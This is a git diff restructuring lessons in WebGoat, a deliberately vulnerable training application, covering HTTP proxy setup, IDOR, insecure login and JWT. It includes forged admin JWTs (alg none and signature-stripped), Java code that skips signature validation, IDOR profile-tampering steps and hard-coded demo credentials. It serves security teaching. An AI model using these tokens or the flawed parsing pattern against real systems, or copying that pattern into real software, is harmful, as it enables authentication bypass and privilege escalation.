www.webgoat.local depending on the choice you made above) -.. input *8090* as the port if running WebGoat locally and you updated ZAP to 8090 (otherwise, use *8080*) +.. input *127.0.0.1* as the proxy (or www.webgoat.local depending on the choice you made above) +.. input *8090* as the port if running WebGoat locally, and you updated ZAP to 8090 (otherwise, use *8080*) .. check the _Use this proxy server for all protocols_ checkbox image::images/firefox-proxy-config.png[Firefox Proxy Config,510,634,style="lesson-image"] ==== Chrome Proxy Config -. Bring up Chrome's settings form the menu -. In the _Search settings_ box type in *proxy* and hit Enter/Return. This should bring up the Network heading with a _Change proxy settings_ button. +. Bring up Chrome's settings from the menu +. In the _Search settings_ box, type in *proxy* and hit Enter/Return. This should bring up the Network heading with a _Change proxy settings_ button. . Click the _Change proxy settings_ button . Select the _proxies_ tab . Select Web Proxy (HTTP) -. Input 127.0.0.1 (or www.webgoatl.local depending on the choice you made) in the first box under _Web Proxy Server_ and your port # (8090 if running WebGoat locally, otherwise 8080) in the second box (to the right) -. You may also want to clear the _Bypass proxy settings for these Hosts & Domains_ text input at the bottom, but shouldn't need to +. Input 127.0.0.1 (or www.webgoat.local depending on the choice you made) in the first box under _Web Proxy Server_ and your port # (8090 if running WebGoat locally, otherwise 8080) in the second box (to the right) +. You may also want to clear the _Bypass proxy settings for these Hosts & Domains_ text input at the bottom but shouldn't need to image::images/chrome-manual-proxy.png[Chrome Proxy Config,700,447,style="lesson-image"] diff --git a/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html b/src/main/resources/lessons/httpproxies/html/HttpProxies.html similarity index 53% rename from webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html rename to src/main/resources/lessons/httpproxies/html/HttpProxies.html index 44c8c6c49..3b96be434 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html +++ b/src/main/resources/lessons/httpproxies/html/HttpProxies.html @@ -3,27 +3,23 @@
-
+
-
+
-
-
- -
-
+
-
+
-
+
-
+
-
+
-
+
-
+
diff --git a/webgoat-lessons/http-proxies/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/httpproxies/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/httpproxies/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/breakpoint.png b/src/main/resources/lessons/httpproxies/images/breakpoint.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/breakpoint.png rename to src/main/resources/lessons/httpproxies/images/breakpoint.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/breakpoint2.png b/src/main/resources/lessons/httpproxies/images/breakpoint2.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/breakpoint2.png rename to src/main/resources/lessons/httpproxies/images/breakpoint2.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpfilter.png b/src/main/resources/lessons/httpproxies/images/burpfilter.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpfilter.png rename to src/main/resources/lessons/httpproxies/images/burpfilter.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpfilterclient.png b/src/main/resources/lessons/httpproxies/images/burpfilterclient.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpfilterclient.png rename to src/main/resources/lessons/httpproxies/images/burpfilterclient.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpintercept.png b/src/main/resources/lessons/httpproxies/images/burpintercept.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpintercept.png rename to src/main/resources/lessons/httpproxies/images/burpintercept.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpintercepted.png b/src/main/resources/lessons/httpproxies/images/burpintercepted.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpintercepted.png rename to src/main/resources/lessons/httpproxies/images/burpintercepted.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpproxy.png b/src/main/resources/lessons/httpproxies/images/burpproxy.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpproxy.png rename to src/main/resources/lessons/httpproxies/images/burpproxy.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpwarn.png b/src/main/resources/lessons/httpproxies/images/burpwarn.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpwarn.png rename to src/main/resources/lessons/httpproxies/images/burpwarn.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/chrome-manual-proxy-win.png b/src/main/resources/lessons/httpproxies/images/chrome-manual-proxy-win.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/chrome-manual-proxy-win.png rename to src/main/resources/lessons/httpproxies/images/chrome-manual-proxy-win.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/chrome-manual-proxy.png b/src/main/resources/lessons/httpproxies/images/chrome-manual-proxy.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/chrome-manual-proxy.png rename to src/main/resources/lessons/httpproxies/images/chrome-manual-proxy.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/firefox-proxy-config.png b/src/main/resources/lessons/httpproxies/images/firefox-proxy-config.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/firefox-proxy-config.png rename to src/main/resources/lessons/httpproxies/images/firefox-proxy-config.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/firefoxsettingscerts.png b/src/main/resources/lessons/httpproxies/images/firefoxsettingscerts.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/firefoxsettingscerts.png rename to src/main/resources/lessons/httpproxies/images/firefoxsettingscerts.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/importcerts.png b/src/main/resources/lessons/httpproxies/images/importcerts.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/importcerts.png rename to src/main/resources/lessons/httpproxies/images/importcerts.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/loginscreen.png b/src/main/resources/lessons/httpproxies/images/loginscreen.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/loginscreen.png rename to src/main/resources/lessons/httpproxies/images/loginscreen.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/newlocalhost.png b/src/main/resources/lessons/httpproxies/images/newlocalhost.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/newlocalhost.png rename to src/main/resources/lessons/httpproxies/images/newlocalhost.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/proxy-intercept-button.png b/src/main/resources/lessons/httpproxies/images/proxy-intercept-button.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/proxy-intercept-button.png rename to src/main/resources/lessons/httpproxies/images/proxy-intercept-button.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/proxy-intercept-details.png b/src/main/resources/lessons/httpproxies/images/proxy-intercept-details.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/proxy-intercept-details.png rename to src/main/resources/lessons/httpproxies/images/proxy-intercept-details.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/rootca.png b/src/main/resources/lessons/httpproxies/images/rootca.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/rootca.png rename to src/main/resources/lessons/httpproxies/images/rootca.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/savecerts.png b/src/main/resources/lessons/httpproxies/images/savecerts.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/savecerts.png rename to src/main/resources/lessons/httpproxies/images/savecerts.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap-browser-button.png b/src/main/resources/lessons/httpproxies/images/zap-browser-button.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap-browser-button.png rename to src/main/resources/lessons/httpproxies/images/zap-browser-button.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap-exclude.png b/src/main/resources/lessons/httpproxies/images/zap-exclude.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap-exclude.png rename to src/main/resources/lessons/httpproxies/images/zap-exclude.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap-history.png b/src/main/resources/lessons/httpproxies/images/zap-history.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap-history.png rename to src/main/resources/lessons/httpproxies/images/zap-history.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap-start.png b/src/main/resources/lessons/httpproxies/images/zap-start.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap-start.png rename to src/main/resources/lessons/httpproxies/images/zap-start.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_resend.png b/src/main/resources/lessons/httpproxies/images/zap_edit_and_resend.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_resend.png rename to src/main/resources/lessons/httpproxies/images/zap_edit_and_resend.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_response.png b/src/main/resources/lessons/httpproxies/images/zap_edit_and_response.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_response.png rename to src/main/resources/lessons/httpproxies/images/zap_edit_and_response.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_send.png b/src/main/resources/lessons/httpproxies/images/zap_edit_and_send.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_send.png rename to src/main/resources/lessons/httpproxies/images/zap_edit_and_send.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude.png b/src/main/resources/lessons/httpproxies/images/zap_exclude.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude.png rename to src/main/resources/lessons/httpproxies/images/zap_exclude.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude_url.png b/src/main/resources/lessons/httpproxies/images/zap_exclude_url.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude_url.png rename to src/main/resources/lessons/httpproxies/images/zap_exclude_url.png diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc b/src/main/resources/lessons/idor/documentation/IDOR_editOtherProfile.adoc similarity index 88% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_editOtherProfile.adoc index aa9ae94ba..2029e888d 100644 --- a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc +++ b/src/main/resources/lessons/idor/documentation/IDOR_editOtherProfile.adoc @@ -4,5 +4,5 @@ Older apps may follow different patterns, but RESTful apps (which is what's goin to perform different functions. Use that knowledge to take the same base request, change its method, path and body (payload) to modify another user's (Buffalo Bill's) profile. -Change the role to something lower (since higher privilege roles and users are ususally lower numbers). Also change the +Change the role to something lower (since higher privilege roles and users are usually lower numbers). Also change the user's color to 'red'. \ No newline at end of file diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOwnProfile.adoc b/src/main/resources/lessons/idor/documentation/IDOR_editOwnProfile.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOwnProfile.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_editOwnProfile.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_inputAltPath.adoc b/src/main/resources/lessons/idor/documentation/IDOR_inputAltPath.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_inputAltPath.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_inputAltPath.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_intro.adoc b/src/main/resources/lessons/idor/documentation/IDOR_intro.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_intro.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_intro.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_login.adoc b/src/main/resources/lessons/idor/documentation/IDOR_login.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_login.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_login.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_mitigation.adoc b/src/main/resources/lessons/idor/documentation/IDOR_mitigation.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_mitigation.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_mitigation.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewDiffs.adoc b/src/main/resources/lessons/idor/documentation/IDOR_viewDiffs.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewDiffs.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_viewDiffs.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewOtherProfile.adoc b/src/main/resources/lessons/idor/documentation/IDOR_viewOtherProfile.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewOtherProfile.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_viewOtherProfile.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewOwnAltPath.adoc b/src/main/resources/lessons/idor/documentation/IDOR_viewOwnAltPath.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_viewOwnAltPath.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_viewOwnAltPath.adoc diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_whatDiffs.adoc b/src/main/resources/lessons/idor/documentation/IDOR_whatDiffs.adoc similarity index 100% rename from webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_whatDiffs.adoc rename to src/main/resources/lessons/idor/documentation/IDOR_whatDiffs.adoc diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/temp.txt b/src/main/resources/lessons/idor/documentation/temp.txt similarity index 91% rename from webgoat-lessons/xxe/src/main/resources/lessonPlans/en/temp.txt rename to src/main/resources/lessons/idor/documentation/temp.txt index 3b4a38c86..f31bdbb50 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/temp.txt +++ b/src/main/resources/lessons/idor/documentation/temp.txt @@ -1,6 +1,6 @@ -- Describe how the attack works / should be some outpu +- Describe how the attack works / should be some output

Concept / Topic To Teach:

This lesson teaches how to perform XML External Entity Attacks. diff --git a/webgoat-lessons/idor/src/main/resources/html/IDOR.html b/src/main/resources/lessons/idor/html/IDOR.html similarity index 91% rename from webgoat-lessons/idor/src/main/resources/html/IDOR.html rename to src/main/resources/lessons/idor/html/IDOR.html index 77f58adbd..b4b7f530f 100644 --- a/webgoat-lessons/idor/src/main/resources/html/IDOR.html +++ b/src/main/resources/lessons/idor/html/IDOR.html @@ -4,14 +4,14 @@ -
+
-
+
@@ -46,7 +46,7 @@ -
+
@@ -76,7 +76,7 @@ -
+
-
+
@@ -108,7 +108,7 @@ -
+
@@ -123,7 +123,7 @@ -
+
@@ -147,7 +147,7 @@
-
+
@@ -176,7 +176,7 @@ -
+
diff --git a/webgoat-lessons/idor/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/idor/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/idor/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/idor/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/idor/src/main/resources/js/idor.js b/src/main/resources/lessons/idor/js/idor.js similarity index 100% rename from webgoat-lessons/idor/src/main/resources/js/idor.js rename to src/main/resources/lessons/idor/js/idor.js diff --git a/src/main/resources/lessons/insecurelogin/documentation/InsecureLogin_Intro.adoc b/src/main/resources/lessons/insecurelogin/documentation/InsecureLogin_Intro.adoc new file mode 100755 index 000000000..a321040c0 --- /dev/null +++ b/src/main/resources/lessons/insecurelogin/documentation/InsecureLogin_Intro.adoc @@ -0,0 +1,7 @@ + +=== Concept +Encryption is an essential tool for secure communication. In this lesson, we will find out why it should always be employed when sending sensitive data. + +=== Goals +* The user should have a basic understanding of packet sniffer usage +* The user will be able to intercept and read unencrypted requests diff --git a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Task.adoc b/src/main/resources/lessons/insecurelogin/documentation/InsecureLogin_Task.adoc similarity index 53% rename from webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Task.adoc rename to src/main/resources/lessons/insecurelogin/documentation/InsecureLogin_Task.adoc index e6e7fea56..5d3c92a85 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Task.adoc +++ b/src/main/resources/lessons/insecurelogin/documentation/InsecureLogin_Task.adoc @@ -1,4 +1,4 @@ === Let's try -Click the "log in" button to send a request containing login credentials of another user. -Then, write these credentials into the appropriate fields and submit to confirm. +Click the "log in" button to send a request containing the login credentials of another user. +Then, write these credentials into the appropriate fields and submit them to confirm. Try using a packet sniffer to intercept the request. diff --git a/webgoat-lessons/insecure-login/src/main/resources/html/InsecureLogin.html b/src/main/resources/lessons/insecurelogin/html/InsecureLogin.html similarity index 86% rename from webgoat-lessons/insecure-login/src/main/resources/html/InsecureLogin.html rename to src/main/resources/lessons/insecurelogin/html/InsecureLogin.html index 7415bf0f1..a150a2f1c 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/html/InsecureLogin.html +++ b/src/main/resources/lessons/insecurelogin/html/InsecureLogin.html @@ -6,12 +6,12 @@ -
+
-
+
diff --git a/webgoat-lessons/insecure-login/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/insecurelogin/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/insecure-login/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/insecurelogin/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/insecure-login/src/main/resources/js/credentials.js b/src/main/resources/lessons/insecurelogin/js/credentials.js similarity index 87% rename from webgoat-lessons/insecure-login/src/main/resources/js/credentials.js rename to src/main/resources/lessons/insecurelogin/js/credentials.js index b7387c623..5f4e09e09 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/js/credentials.js +++ b/src/main/resources/lessons/insecurelogin/js/credentials.js @@ -1,6 +1,6 @@ function submit_secret_credentials() { var xhttp = new XMLHttpRequest(); - xhttp['open']('POST', '#attack/307/100', true); + xhttp['open']('POST', 'InsecureLogin/login', true); //sending the request is obfuscated, to descourage js reading var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]})) } \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/css/jwt.css b/src/main/resources/lessons/jwt/css/jwt.css similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/css/jwt.css rename to src/main/resources/lessons/jwt/css/jwt.css diff --git a/webgoat-lessons/jwt/src/main/resources/db/migration/V2019_09_25_1__jwt.sql b/src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/db/migration/V2019_09_25_1__jwt.sql rename to src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_decode.adoc b/src/main/resources/lessons/jwt/documentation/JWT_decode.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_decode.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_decode.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc b/src/main/resources/lessons/jwt/documentation/JWT_final.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_final.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc similarity index 86% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc index 1937f084e..89507f79a 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_libraries_assignment.adoc +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment.adoc @@ -7,6 +7,22 @@ Now let's look at a code review and try to think on an attack with the `alg: non eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0. ---- +which after decoding becomes: + +[source] +---- +{ + "alg" : "none", + "typ" : "JWT" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + [source%linenums, java] ---- try { diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc new file mode 100644 index 000000000..e1aa7c11c --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries_assignment2.adoc @@ -0,0 +1,37 @@ +== Code review (2) + +Same as before but now we are only removing the signature part, leaving the algorithm as is. + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ. + +{ + "alg" : "HS256" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +Using the following `parse` method we are still able to skip the signature check. + +[source%linenums, java] +---- +try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (isAdmin) { + removeAllUsers(); + } else { + log.error("You are not an admin user"); + } +} catch (JwtException e) { + throw new InvalidTokenException(e); +} +---- diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc new file mode 100644 index 000000000..f01c33afc --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries_solution.adoc @@ -0,0 +1,46 @@ +=== Solution + +In the past assignments we learned to **NOT** trust the libraries to do the correct thing for us. In both cases we saw that even specifying the JWT key and passing the correct algorithm. Even using the token: + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ. + +{ + "alg" : "HS256" +}, +{ + "admin" : true, + "iat" : 1516239022, + "sub" : "1234567890", + "user" : "John Doe" +} +---- + +And the following Java code: + +[source] +---- +Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); +---- + +You see we set the signing key with `setSigningKey` the library still skips the validation of the signature. + +It is not only limited to the traditional `alg: none` attack, but it also works with the `alg: HS256`. + +=== Conclusion + +When you have chosen a library to help dealing with JWT tokens make sure to: + +- use the correct method in your code when validating tokens. +- add test cases and validate the algorithm confusion is not possible. +- as a security team write a utility methods to be used by the teams which encapsulate the library to make sure the teams use the correct parsing logic. + +=== Alternative: Paseto + +The algorithm confusion is a real problem when dealing with JWTs it can be avoided by using PASETO (**P**latform-**A**gnostic **SE**curity **TO**kens), which is currently implemented in 10 programming languages. +One of the drawbacks of using this method is that JWT is widely spread for example think about using OAuth, so it might not be the best solution to use. + +For more information take a look at the following video: + +video::RijGNytjbOI[youtube, height=480, width=100%] \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc b/src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_login_to_token.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_mitigation.adoc b/src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_mitigation.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_mitigation.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc b/src/main/resources/lessons/jwt/documentation/JWT_plan.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_plan.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc b/src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_refresh.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc b/src/main/resources/lessons/jwt/documentation/JWT_refresh_assignment.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_refresh_assignment.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc b/src/main/resources/lessons/jwt/documentation/JWT_signing.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_signing.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing_solution.adoc b/src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing_solution.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_signing_solution.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc b/src/main/resources/lessons/jwt/documentation/JWT_storing.adoc similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_storing.adoc diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc b/src/main/resources/lessons/jwt/documentation/JWT_structure.adoc similarity index 63% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc rename to src/main/resources/lessons/jwt/documentation/JWT_structure.adoc index 9cb187f48..a2951f6a6 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc +++ b/src/main/resources/lessons/jwt/documentation/JWT_structure.adoc @@ -11,7 +11,7 @@ The token is base64 encoded and consists of three parts: - claims - signature -Both header and claims consist are respresented by a JSON object. The header describes the cryptographic operations applied to the JWT and optionally, additional properties of the JWT. +Both header and claims consist are represented by a JSON object. The header describes the cryptographic operations applied to the JWT and optionally, additional properties of the JWT. The claims represent a JSON object whose members are the claims conveyed by the JWT. diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys b/src/main/resources/lessons/jwt/documentation/JWT_weak_keys similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys rename to src/main/resources/lessons/jwt/documentation/JWT_weak_keys diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/src/main/resources/lessons/jwt/html/JWT.html similarity index 91% rename from webgoat-lessons/jwt/src/main/resources/html/JWT.html rename to src/main/resources/lessons/jwt/html/JWT.html index d5cb0aad8..fdf7a5fa6 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/src/main/resources/lessons/jwt/html/JWT.html @@ -3,14 +3,14 @@
-
+
-
+
-
+
@@ -35,10 +35,10 @@
-
+
-
+
@@ -102,7 +102,7 @@
-
+
@@ -112,7 +112,7 @@ -
+
@@ -133,7 +133,19 @@
-
+
+
+
+
+ +
+
+
+
+
+ +
+

 
@@ -161,11 +173,11 @@
 
-
+
-
+
@@ -287,7 +299,7 @@
-
+
@@ -347,8 +359,8 @@
-
+
